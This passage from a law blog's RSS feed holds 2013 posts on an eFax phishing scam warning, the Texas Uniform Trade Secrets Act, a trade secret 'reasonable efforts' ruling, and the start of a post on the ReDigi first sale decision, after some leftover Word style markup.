  &lt;w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 7"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 8"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" Name="toc 9"/&gt;
  &lt;w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/&gt;
  &lt;w:LsdException Locked="false" Priority="10" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Title"/&gt;
  &lt;w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/&gt;
  &lt;w:LsdException Locked="false" Priority="11" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/&gt;
  &lt;w:LsdException Locked="false" Priority="22" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Strong"/&gt;
  &lt;w:LsdException Locked="false" Priority="20" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="59" SemiHidden="false"
   UnhideWhenUsed="false" Name="Table Grid"/&gt;
  &lt;w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/&gt;
  &lt;w:LsdException Locked="false" Priority="1" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/&gt;
  &lt;w:LsdException Locked="false" Priority="34" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/&gt;
  &lt;w:LsdException Locked="false" Priority="29" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Quote"/&gt;
  &lt;w:LsdException Locked="false" Priority="30" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/&gt;
  &lt;w:LsdException Locked="false" Priority="60" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Shading Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="61" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="62" SemiHidden="false"
   UnhideWhenUsed="false" Name="Light Grid Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="63" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="64" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="65" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="66" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="67" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="68" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="69" SemiHidden="false"
   UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="70" SemiHidden="false"
   UnhideWhenUsed="false" Name="Dark List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="71" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="72" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful List Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="73" SemiHidden="false"
   UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/&gt;
  &lt;w:LsdException Locked="false" Priority="19" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="21" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/&gt;
  &lt;w:LsdException Locked="false" Priority="31" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/&gt;
  &lt;w:LsdException Locked="false" Priority="32" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/&gt;
  &lt;w:LsdException Locked="false" Priority="33" SemiHidden="false"
   UnhideWhenUsed="false" QFormat="true" Name="Book Title"/&gt;
  &lt;w:LsdException Locked="false" Priority="37" Name="Bibliography"/&gt;
  &lt;w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman","serif";}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;This is a phishing expedition.&amp;nbsp; See &lt;a href="http://www.fedsolutions.com/2012/08/it-support-news-efax-email-phishing-scam/"&gt;here&lt;/a&gt; and &lt;a href="http://www.examiner.com/article/latest-internet-email-scam-takes-aim-at-new-corporate-target"&gt;here&lt;/a&gt;.&amp;nbsp; Since we use an online faxing services here at the firm, and this looks really real, I&amp;nbsp;was ready to click on the link.&amp;nbsp; In addition, eFax is a legitimate faxing service.&amp;nbsp; Thankfully, our friends at McAfee warned me off of this.&amp;nbsp; Apparently, going to the link would load malware or a virus on your system.&amp;nbsp; Be careful.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/3nb5R3zuzis" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/3nb5R3zuzis/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/05/articles/efax-scam-look-for-this-in-your-inbox/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Cloud Computing</category><category domain="http://www.austintechnologylawblog.com/articles">Data Privacy</category><category domain="http://www.austintechnologylawblog.com/articles">Internet</category><category domain="http://www.austintechnologylawblog.com/">Legal</category><category domain="http://www.austintechnologylawblog.com/tags">eFax</category><category domain="http://www.austintechnologylawblog.com/tags">phishing</category><category domain="http://www.austintechnologylawblog.com/tags">scam</category>
         <pubDate>Fri, 17 May 2013 11:16:21 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/05/articles/efax-scam-look-for-this-in-your-inbox/</feedburner:origLink></item>
            <item>
         <title>Texas Uniform Trade Secrets Act ("TUTSA") Becomes Effective September 1, 2013.</title>
         <description>&lt;p&gt;Texas has become the 48th state to adopt a uniform trade secrets act.&amp;nbsp; This legislation was signed &lt;img align="right" width="250" height="318" border="5" src="http://www.austintechnologylawblog.com/uploads/image/trade secret cover page.jpg" alt="" /&gt;by Governor Perry and will become effective September 1, 2013.&amp;nbsp; A text of the act as passed may be found &lt;a href="http://www.legis.state.tx.us/tlodocs/83R/billtext/html/SB00953I.HTM"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Notable provisions of TUTSA include the following:&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;The Act permits &amp;quot;reverse engineering&amp;quot; unless &amp;quot;prohibited&amp;quot;, which prohibition presumably can be accomplished by contractual prohibitions.&lt;/li&gt;
    &lt;li&gt;&amp;quot;Reasonable&amp;quot; efforts must be made to keep the information secret in order that it may be treated as a trade secret.&amp;nbsp; &lt;a href="http://www.austintechnologylawblog.com/2013/05/articles/failure-to-do-the-trade-secret-dance-causes-company-to-lose-control-of-its-processes/"&gt;See our immediately preceding post.&lt;/a&gt;&amp;nbsp; Yeah, the one with the monkey and the assault rifle.&lt;/li&gt;
    &lt;li&gt;An injunction may be ordered in the event of actual or threatened misappropriation.&amp;nbsp; In addition, &amp;quot;affirmative acts&amp;quot; may be ordered to protect a trade secret.&amp;nbsp; This codifies a court's authority to compel both the prohibition of an act or the commission of an act to protect a trade secret.&lt;/li&gt;
    &lt;li&gt;In addition to injunctive or affirmative relief, damages can be awarded, which can be based on actual loss, unjust enrichment or a reasonable royalty.&lt;/li&gt;
    &lt;li&gt;If &amp;quot;wilful and malicious&amp;quot; actions are proven by &amp;quot;clear and convincing&amp;quot; evidence, punitive damages may be awarded up to two time direct damages.&lt;/li&gt;
    &lt;li&gt;Attorney's fees may be awarded to the prevailing party if a claim of misappropriation is made in bad faith, a motion to terminate an injunction is made or resisted in bad faith or wilful and malicious misappropriation exists.&lt;/li&gt;
    &lt;li&gt;Lists of actual or potential customers or suppliers are explicitly mentioned as possible trade secrets.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This Act codifies what was covered under case law before and should help in the preservation of the trade secrets of Texas businesses.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/VtJYOGVrrUs" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/VtJYOGVrrUs/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/05/articles/texas-uniform-trade-secrets-act-tutsa-becomes-effective-september-1-2013/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/articles">Legislation</category><category domain="http://www.austintechnologylawblog.com/articles">Startups</category><category domain="http://www.austintechnologylawblog.com/tags">TUTSA</category><category domain="http://www.austintechnologylawblog.com/tags">Texas Uniform Trade Secrets Act</category><category domain="http://www.austintechnologylawblog.com/tags">trade secrets</category>
         <pubDate>Mon, 13 May 2013 15:55:59 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/05/articles/texas-uniform-trade-secrets-act-tutsa-becomes-effective-september-1-2013/</feedburner:origLink></item>
            <item>
         <title>Failure To Do The "Trade Secret Dance" Causes Company To Lose Control Of Its Processes.</title>
         <description>&lt;p&gt;As we all know, most intellectual property is protected by patent, copyright or trade secret or some &lt;img align="right" width="250" height="188" border="5" src="http://www.austintechnologylawblog.com/uploads/image/armed-monkey-gun.jpg" alt="" /&gt;combination of the three.&amp;nbsp; Because of the expense and long lead time for patents, a lot of companies (tech and otherwise) rely on trade secret protection for the &amp;quot;crown jewels&amp;quot; of their business.&lt;/p&gt;
&lt;p&gt;Also, as we all know, in order to have a court treat your crown jewels as trade secrets, you have to show that you treated them as such.&amp;nbsp; In court speak, you have to make &amp;quot;reasonable efforts&amp;quot; to preserve the secrecy of the information.&amp;nbsp; If you haven't taken such efforts, then you can't get a court to treat them as secrets.&amp;nbsp; The processes that are used to document &amp;quot;reasonable efforts&amp;quot; are referred to by some as the &amp;quot;trade secret dance&amp;quot;.&amp;nbsp; In other words, you have to take steps to behave in a way that demonstrates your &amp;quot;reasonable efforts&amp;quot; to maintain secrecy.&amp;nbsp; We have discussed this before (see &lt;a href="http://www.austintechnologylawblog.com/2010/07/articles/startups/startup-week-intellectual-property-and-your-company/"&gt;here&lt;/a&gt; and &lt;a href="http://www.coatingsworld.com/issues/2012-05/view_ipaint/the-trade-secret-dance-lessons-from-the-litigation-trenches/"&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://caselaw.findlaw.com/ct-superior-court/1561912.html"&gt;A court in Connecticut reaffirmed this requirement recently&lt;/a&gt; in the aerospace industry when it found that a company had not taken such reasonable efforts to protect its rubber injection molds, the injection apparatus and the company's prices and hence, could not get an injunction against a competitor to prohibit such competitor from using similar information.&lt;/p&gt;
&lt;p&gt;The court cited the company's practice of conducting tours of the facility for the public and even competitors in which the participants in the tours were afforded unrestricted views of the molds and the machines from as close as six feet.&amp;nbsp; The process was explained and at no time were the participants in the tours notified that anything they saw was confidential nor were they obligated to sign any confidentiality agreements. It was apparently also common practice for the company to quote prices for their products to anybody that asked without any indication that the prices were confidential.&lt;/p&gt;
&lt;p&gt;For this and other reasons, the court found that the company had not taken reasonable efforts and declined to grant an injunction in their favor.&amp;nbsp; This was most unfortunate for the company as it was in bankruptcy, which it claimed was due in large part to its loss of the trade secrets.&lt;/p&gt;
&lt;p&gt;This is not a groundbreaking or shocking opinion and is in line with established trade secret law but it does reaffirm for all of us that are counting on trade secret law to protect our stuff, we better make sure that we keep our stuff secret.&amp;nbsp; This starts with doing an intellectual property inventory and continues through the establishment of a intellectual property protection program that must include as a very important component, a trace secret protection process (i.e. the dance).&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/AustinTechnologyLawBlog/~4/tXxwdDvnuJ0" height="1" width="1"/&gt;</description>
         <link>http://feeds.lexblog.com/~r/AustinTechnologyLawBlog/~3/tXxwdDvnuJ0/</link>
         <guid isPermaLink="false">http://www.austintechnologylawblog.com/2013/05/articles/failure-to-do-the-trade-secret-dance-causes-company-to-lose-control-of-its-processes/</guid>
         <category domain="http://www.austintechnologylawblog.com/">Articles</category><category domain="http://www.austintechnologylawblog.com/">Copyright</category><category domain="http://www.austintechnologylawblog.com/articles">Intellectual Property</category><category domain="http://www.austintechnologylawblog.com/">Legal</category><category domain="http://www.austintechnologylawblog.com/tags">reasonable efforts</category><category domain="http://www.austintechnologylawblog.com/tags">trade secret</category>
         <pubDate>Tue, 07 May 2013 13:12:44 -0600</pubDate>
         <dc:creator>Paul Stanfield</dc:creator>
      
      <feedburner:origLink>http://www.austintechnologylawblog.com/2013/05/articles/failure-to-do-the-trade-secret-dance-causes-company-to-lose-control-of-its-processes/</feedburner:origLink></item>
            <item>
         <title>Court Becomes "Particular" About First Sale Doctrine and Therefore You Can Never Resell Your Digital Music.</title>
         <description>&lt;p&gt;I'm an old guy.&amp;nbsp; One of the first musical purchases I ever made was a 45 rpm (that's revolutions per &lt;img align="right" width="250" height="176" border="5" alt="" src="http://www.austintechnologylawblog.com/uploads/image/digitial files.jpg" /&gt;minute for those of you that have never seen a phonograph) recording of Bobby Vee's &amp;quot;&lt;a href="http://www.youtube.com/watch?v=ssCLB6Y8zjA"&gt;The Night Has A Thousand Eyes&lt;/a&gt;&amp;quot;.&amp;nbsp; If I still had that physical record, I&amp;nbsp;could sell it to you without fear of violating anyone's copyright because of a little something called the &amp;quot;first sale&amp;quot; doctrine.&amp;nbsp; We have mentioned that several times in this blog (see &lt;a href="http://www.austintechnologylawblog.com/2010/09/articles/license-or-sale-vernor-v-autodesk/"&gt;here&lt;/a&gt;, &lt;a href="http://www.austintechnologylawblog.com/2010/12/articles/first-sale-little-known-doctrine-plays-a-big-role/"&gt;here&lt;/a&gt; and &lt;a href="http://www.austintechnologylawblog.com/2011/01/articles/umg-v-augusto-first-sale-doctrine-in-relation-to-promotional-cds/"&gt;here&lt;/a&gt;).&amp;nbsp; The first sale doctrine says that after the first sale of a copyrighted work, the copyright holder loses its right to restrict further sales.&amp;nbsp; This is the reason that stores that sell used books, records, CDs, DVDs, etc. can exist.&lt;/p&gt;
&lt;p&gt;Now, if I&amp;nbsp;could find that particular song on ITunes, I could buy it, download it to my computer or MP3 player and listen to it all I want.&amp;nbsp; If I tired of that, I&amp;nbsp;could use the services of a company called ReDigi.&amp;nbsp; In doing that, I&amp;nbsp;would download an application called Media Manager&amp;nbsp; and then use that to upload the digital file of the recording to ReDigi's remote server in Arizona, which they call the &amp;quot;Cloud Locker&amp;quot;.&amp;nbsp; Media Manager then prowls the hard drive of my computer and connected devices to determine if I&amp;nbsp;have retained a copy.&amp;nbsp; If it detects one, it prompts me to delete it.&amp;nbsp; When that happens, only one copy of this particular recording exists and it exists only on the Cloud Locker.&amp;nbsp; I&amp;nbsp;then can either continue to listen to it from the Cloud Locker or I can opt to sell it.&amp;nbsp; If I&amp;nbsp;opt to sell it, ReDigi makes it impossible for me to continue to listen to it.&amp;nbsp; So, now I&amp;nbsp;can use ReDigi to sell that particular recording to you.&amp;nbsp; The exchange is made for credits that you can get by uploading other music.&amp;nbsp; When it is transferred to you (automatically, without human intervention by ReDigi), you can store it, stream it, sell it or download it to one of your devices to listen to it.&lt;/p&gt;
&lt;p&gt;In both instances, the result is the same.&amp;nbsp; I bought a copy of &amp;quot;The Night Has A Thousand Eyes&amp;quot; legally.&amp;nbsp; I&amp;nbsp;have transferred it to you.&amp;nbsp; I&amp;nbsp;no longer have a copy.&amp;nbsp; I can't sell it again.&lt;/p&gt;
&lt;p&gt;Cool, right?&amp;nbsp; Everybody's happy.&amp;nbsp; I&amp;nbsp;can buy more music with my credits.&amp;nbsp; You are in possession of a great piece of nostalgia and I&amp;nbsp;have no more copies to sell to undercut the copyright holder's income stream.&amp;nbsp; The Southern District of New York says: &amp;quot;Not so fast, my friend&amp;quot;.&lt;/p&gt;
&lt;p&gt;In a case styled &lt;a href="http://digitalcommons.law.scu.edu/cgi/viewcontent.cgi?article=1334&amp;amp;context=historical"&gt;Capitol Records, LLC v. ReDigi Inc.&lt;/a&gt;, the court held that the first sale doctrine can not apply to non-physical (i.e. digital) recordings.&lt;/p&gt;
